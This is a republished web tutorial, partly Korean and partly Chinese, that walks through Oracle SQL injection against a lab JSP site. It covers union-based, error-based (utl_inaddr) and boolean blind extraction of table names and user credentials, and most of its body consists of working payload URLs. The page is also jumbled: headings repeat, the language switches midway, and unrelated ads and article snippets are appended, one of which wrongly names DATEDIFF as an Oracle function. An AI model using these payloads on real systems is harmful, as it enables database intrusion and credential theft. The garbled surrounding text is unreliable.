목차
1. length() 사용법:
다음 글에서 사용시 설명할 기능도 있습니다.
환경은 win2003을 시스템으로 하는 VMware에서 jsp+Oracle을 사용하는 간단한 웹 페이지입니다. 1.Oracle 조인트 쿼리 주입
4.Oracle联合查询
2.Oracle报错注入
1.寻找注入点
2.报错注入
3.Oracle布尔盲注
2.Oracle布尔盲注
데이터 베이스 Oracle 오라클 인젝션의 세세한 부분까지 완전히 마스터할 수 있도록 단계별로 가르쳐드립니다.

오라클 인젝션의 세세한 부분까지 완전히 마스터할 수 있도록 단계별로 가르쳐드립니다.

Jan 21, 2022 pm 06:23 PM
oracle

이 기사는 주입 및 오류 보고의 기본 단계를 포함하여 Oracle 주입에 대한 관련 지식을 제공하는 것이 모든 사람에게 도움이 되기를 바랍니다. ◆ .

• user_tables table오라클 인젝션의 세세한 부분까지 완전히 마스터할 수 있도록 단계별로 가르쳐드립니다.

◆ 이 테이블의 table_name 열에는 현재 데이터베이스의 모든 테이블이 저장됩니다.

• user_tab_columns 테이블

◆ 이 테이블의 column_name에는 테이블의 모든 열이 저장됩니다.

2. Oracle 쿼리는 테이블 이름을 가져와야 합니다

• xxx에서 *를 선택하세요(범용 테이블이 있습니다: 이중 테이블).

3. 단일 행 하위 쿼리가 여러 행을 반환하는 경우 rownum=1을 사용하여 표준화해야 합니다.

• rownum은 의사 시퀀스 번호이며 항상 1부터 시작합니다.

• Oracle 데이터베이스가 데이터 파일이나 버퍼에서 데이터를 읽는 순서입니다.

• 첫 번째 레코드를 얻을 때 rownum 값은 1, 두 번째 레코드는 2 등입니다.

4. 기본 후속 주입에 필요한 일부 내장 함수

1. length() 사용법:

length(char): 문자열의 길이를 반환합니다.

2. COUNT(*) 사용법:

COUNT(*) 함수는 주어진 선택 항목에서 선택된 행 수를 반환합니다.

3. ascii() 사용법:

ascii(char)는 문자를 ASCII 코드로 변환하는 것을 의미합니다.

4. SUBSTR 사용법:

SUBSTR(소스 문자열, 검색 시작 위치, [길이]) 반환 값은 소스 문자열에 지정된 시작 위치와 길이가 있는 문자열입니다.

5. INSTR 사용법:

INSTR(소스 문자열, 찾을 문자열, 어떤 문자에서 시작하는지, 찾을 시퀀스 번호와 일치하는지)는 찾은 위치를 반환하고, 찾을 수 없으면 0을 반환합니다. 기본 검색 순서는 다음과 같습니다. 왼쪽에서 오른쪽으로. 시작 위치가 음수인 경우 오른쪽부터 검색을 시작합니다. 시작 위치가 0이면 반환 값은 0입니다.

다음 글에서 사용시 설명할 기능도 있습니다.

2. 기본 주입 유형별 기본 단계

환경은 win2003을 시스템으로 하는 VMware에서 jsp+Oracle을 사용하는 간단한 웹 페이지입니다. 1.Oracle 조인트 쿼리 주입

1. 주입 지점 찾기

이 단계는 제 실험 환경에서는 매우 명백하지만 실제 환경에서는 여전히 적절한 주입 지점을 찾아야 합니다. 데이터베이스와 상호 작용하는 입력 상자를 찾은 다음 입력 상자의 데이터 유형과 해당 데이터의 닫는 방법을 결정한 다음 몇 가지 판단 문을 추가하여 주입이 있는지 확인합니다.

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --
로그인 후 복사

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --
로그인 후 복사
수동으로 데이터 조각을 추가한 후, 다양한 페이로드를 구성하여 URL에 주입 취약점이 있다는 사실을 발견했고, 우리가 입력한 페이로드가 그 효과를 달성했습니다.

3. 열 수 결정

또한 Oracle 데이터베이스는 order by를 사용하여 쿼리 데이터 테이블의 열 수를 결정합니다. Order by는 select -list 표현식의 열 수와 같아야 합니다. 실제 환경에서는 테이블의 컬럼 수가 많을 수 있으므로 컬럼 수를 판단할 때는 이분법을 사용하는 것이 가장 좋습니다.

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --
로그인 후 복사

3개씩 주문하면 페이지가 정상인데 4개 주문하면 오류가 발생해서 쿼리 테이블의 컬럼 개수가 3

입니다.

4.Oracle联合查询

  跟之前的学习的MySQL以及SQL server一样,Oracle同样通过union 来实现联合查询注入,并且不用跟SQL server联合查询注入一样添加all,仅只用union就行,但是依旧要跟SQL server联合查询注入一样判断后续各列的数据类型。

  接下里我们首先查看回显位

http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --
로그인 후 복사

  因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用。

  我们看到三个列全部会回显在页面上

  下面我们还要通过更改null判断各个回显位的数据类型

http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --
로그인 후 복사

 判断出1号位的数据类型位字符型,接下来我们就可以通过构造不同的payload替换'1',来查询到我们想要的数据

select user from dual 获取用户名

http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --
로그인 후 복사

select banner from sys.v_$version where rownum=1 获取版本

http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --
로그인 후 복사

 借助联合查询和默认表 user_tables获取当前数据库所有表名(第一行的)。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--
로그인 후 복사

 查看下一行表名

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--
로그인 후 복사

没有其他的表,只有T_USER

如果可以显示多行数据,则可以通过以下代码查看到T-USER所有的列名,不能就只能通过跟上面类似的方法 用“<>”添加附加条件,去除已经查看到的数据然后查看下一行数据

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--
로그인 후 복사

获取T_USER表中字段为SNAME、SUSER、SPWD,然后获得他们的值

因为之前判断过1,2,3号位都回显,且都为字符型,所以下面一次性查询,如果只有一个也可以一个一个的查询

10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--
로그인 후 복사

获取数据

  因为靶场比较简陋,所以实验过程只是体现自己的注入思路,并不代表T_USER表中的东西就是后台账号之内的敏感数据,真实环境中,你查询的数据可以是任何你能查询到数据。

2.Oracle报错注入

1.寻找注入点

   当你发现你找到的注入点在输入错误数据会反弹数据库原始报错信息时,我们就可以使用报错注入。然后前面的步骤基本一致,都是先找注入点,然后分析闭合方式。

2.报错注入

Oracle报错注入——类型转换错误和报错函数。

payload:1=utl_inaddr.get_host_name((SQL语句))

查询结果: ORA-29257: 未知的主机 结果

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
로그인 후 복사

T_USER即我们想要查询的表名,如果不止一个也可以通过上面联合查询注入中提到的方法,在sql语句中添加附加'<>'条件遍历表名。

跟联合查询用到的相同的语句查到接下来的列名,数据

下面我们可以用到一个函数来改变之前遍历每个数据的麻烦:sys.stragg()在单行中获取所有行信息。

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--
로그인 후 복사

  ||是Oracle中的字符拼接符号,在以上payload使用的时候需要将其更改为%7C%7C,即它的url编码

  我们通过拼接其他符号以及sys,stragg()函数使我们能够清晰的分辨数据表中这个字段每一行的数据,在之前的联合查询注入同样可以使用到这个函数,省去遍历的麻烦

3.Oracle布尔盲注

1.寻找注入点

使用条件:HTTP返回包中没有执行结果的数据和报错信息。

当你发出你构造的payload时,页面并没有产生变化,即说明你的payload正确。

跟上面两种注入一样寻找注入点。

Oracle盲注核心——字符串截取函数、ascii转换函数、条件判断语句。

要注意的是在截断函数中长度是包含开始截取位置那一位的。

2.Oracle布尔盲注

步骤跟之前的顺序是一致的 拿表名-列名-数据,这里就不一一列举了,主要说重点。

我们在拿一个数据时,比如说表名,我们需要先判断他的长度

10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--
로그인 후 복사

 我们可以先将=改为>或者<然后通过二分法逐步的缩小范围,最终确定表名一共有6位。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1&#39; and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--
로그인 후 복사

然后就用截取函数 先截取表名的第一个字符,然后转译为ascii码,同样可以通过>或者<逐渐缩小范围最终确定表名第一个字符ascii码为84 即为T,以此类推获得完整表名

如果会使用burpsuit的话,可以通过burpsuit暴力破解,设置截取位置以及等于号后面的数字来跑出表名。

所有数据均可使用同样的方法获取

推荐教程:《Oracle教程

위 내용은 오라클 인젝션의 세세한 부분까지 완전히 마스터할 수 있도록 단계별로 가르쳐드립니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

오라클에서 두 날짜 사이의 일수를 계산하는 함수 오라클에서 두 날짜 사이의 일수를 계산하는 함수 May 08, 2024 pm 07:45 PM

두 날짜 사이의 일수를 계산하는 Oracle의 함수는 DATEDIFF()입니다. 구체적인 사용법은 다음과 같습니다. 시간 간격 단위 지정: 간격(예: 일, 월, 연도) 두 날짜 값 지정: date1 및 date2DATEDIFF(interval, date1, date2) 일 차이를 반환합니다.

Oracle 데이터베이스 로그는 얼마나 오래 보관됩니까? Oracle 데이터베이스 로그는 얼마나 오래 보관됩니까? May 10, 2024 am 03:27 AM

Oracle 데이터베이스 로그의 보존 기간은 다음을 포함한 로그 유형 및 구성에 따라 다릅니다. 재실행 로그: "LOG_ARCHIVE_DEST" 매개변수로 구성된 최대 크기에 의해 결정됩니다. 보관된 리두 로그: "DB_RECOVERY_FILE_DEST_SIZE" 매개변수로 구성된 최대 크기에 따라 결정됩니다. 온라인 리두 로그: 보관되지 않고 데이터베이스를 다시 시작하면 손실되며 보존 기간은 인스턴스 실행 시간과 일치합니다. 감사 로그: "AUDIT_TRAIL" 매개변수로 구성되며 기본적으로 30일 동안 보관됩니다.

Oracle 데이터베이스 시작 단계의 순서는 다음과 같습니다. Oracle 데이터베이스 시작 단계의 순서는 다음과 같습니다. May 10, 2024 am 01:48 AM

Oracle 데이터베이스 시작 순서는 다음과 같습니다. 1. 전제 조건을 확인합니다. 3. 데이터베이스 인스턴스를 시작합니다. 5. 데이터베이스에 연결합니다. . 서비스를 활성화합니다(필요한 경우). 8. 연결을 테스트합니다.

오라클에는 얼마나 많은 메모리가 필요합니까? 오라클에는 얼마나 많은 메모리가 필요합니까? May 10, 2024 am 04:12 AM

Oracle에 필요한 메모리 양은 데이터베이스 크기, 활동 수준 및 필요한 성능 수준(데이터 버퍼 저장, 인덱스 버퍼, SQL 문 실행 및 데이터 사전 캐시 관리에 필요)에 따라 다릅니다. 정확한 양은 데이터베이스 크기, 활동 수준 및 필요한 성능 수준에 따라 달라집니다. 모범 사례에는 적절한 SGA 크기 설정, SGA 구성 요소 크기 조정, AMM 사용 및 메모리 사용량 모니터링이 포함됩니다.

오라클에서 간격을 사용하는 방법 오라클에서 간격을 사용하는 방법 May 08, 2024 pm 07:54 PM

Oracle의 INTERVAL 데이터 유형은 시간 간격을 나타내는 데 사용됩니다. 구문은 INTERVAL <precision> <unit>입니다. INTERVAL을 연산하기 위해 덧셈, 뺄셈, 곱셈 및 나눗셈 연산을 사용할 수 있으며 이는 시간 데이터 저장과 같은 시나리오에 적합합니다. 날짜 차이를 계산합니다.

Oracle에서 특정 문자의 발생 횟수를 확인하는 방법 Oracle에서 특정 문자의 발생 횟수를 확인하는 방법 May 09, 2024 pm 09:33 PM

Oracle에서 문자 발생 횟수를 찾으려면 다음 단계를 수행하십시오. 문자열의 전체 길이를 얻습니다. 문자가 나타나는 부분 문자열의 길이를 얻습니다. 부분 문자열 길이를 빼서 문자 발생 횟수를 계산합니다. 전체 길이에서.

Oracle 데이터베이스 서버 하드웨어 구성 요구 사항 Oracle 데이터베이스 서버 하드웨어 구성 요구 사항 May 10, 2024 am 04:00 AM

Oracle 데이터베이스 서버 하드웨어 구성 요구 사항: 프로세서: 기본 주파수가 2.5GHz 이상인 멀티 코어, 대규모 데이터베이스의 경우 32개 이상의 코어가 권장됩니다. 메모리: 소규모 데이터베이스의 경우 최소 8GB, 중간 크기의 경우 16~64GB, 대규모 데이터베이스 또는 과도한 작업 부하의 경우 최대 512GB 이상. 스토리지: SSD 또는 NVMe 디스크, 중복성 및 성능을 위한 RAID 어레이. 네트워크: 고속 네트워크(10GbE 이상), 전용 네트워크 카드, 지연 시간이 짧은 네트워크. 기타: 안정적인 전원 공급 장치, 이중 구성 요소, 호환 가능한 운영 체제 및 소프트웨어, 열 방출 및 냉각 시스템.

오라클에서 dbf 파일을 읽는 방법 오라클에서 dbf 파일을 읽는 방법 May 10, 2024 am 01:27 AM

Oracle은 다음 단계를 통해 dbf 파일을 읽을 수 있습니다. 외부 테이블을 만들고 dbf 파일을 참조하여 데이터를 Oracle 테이블로 가져옵니다.

See all articles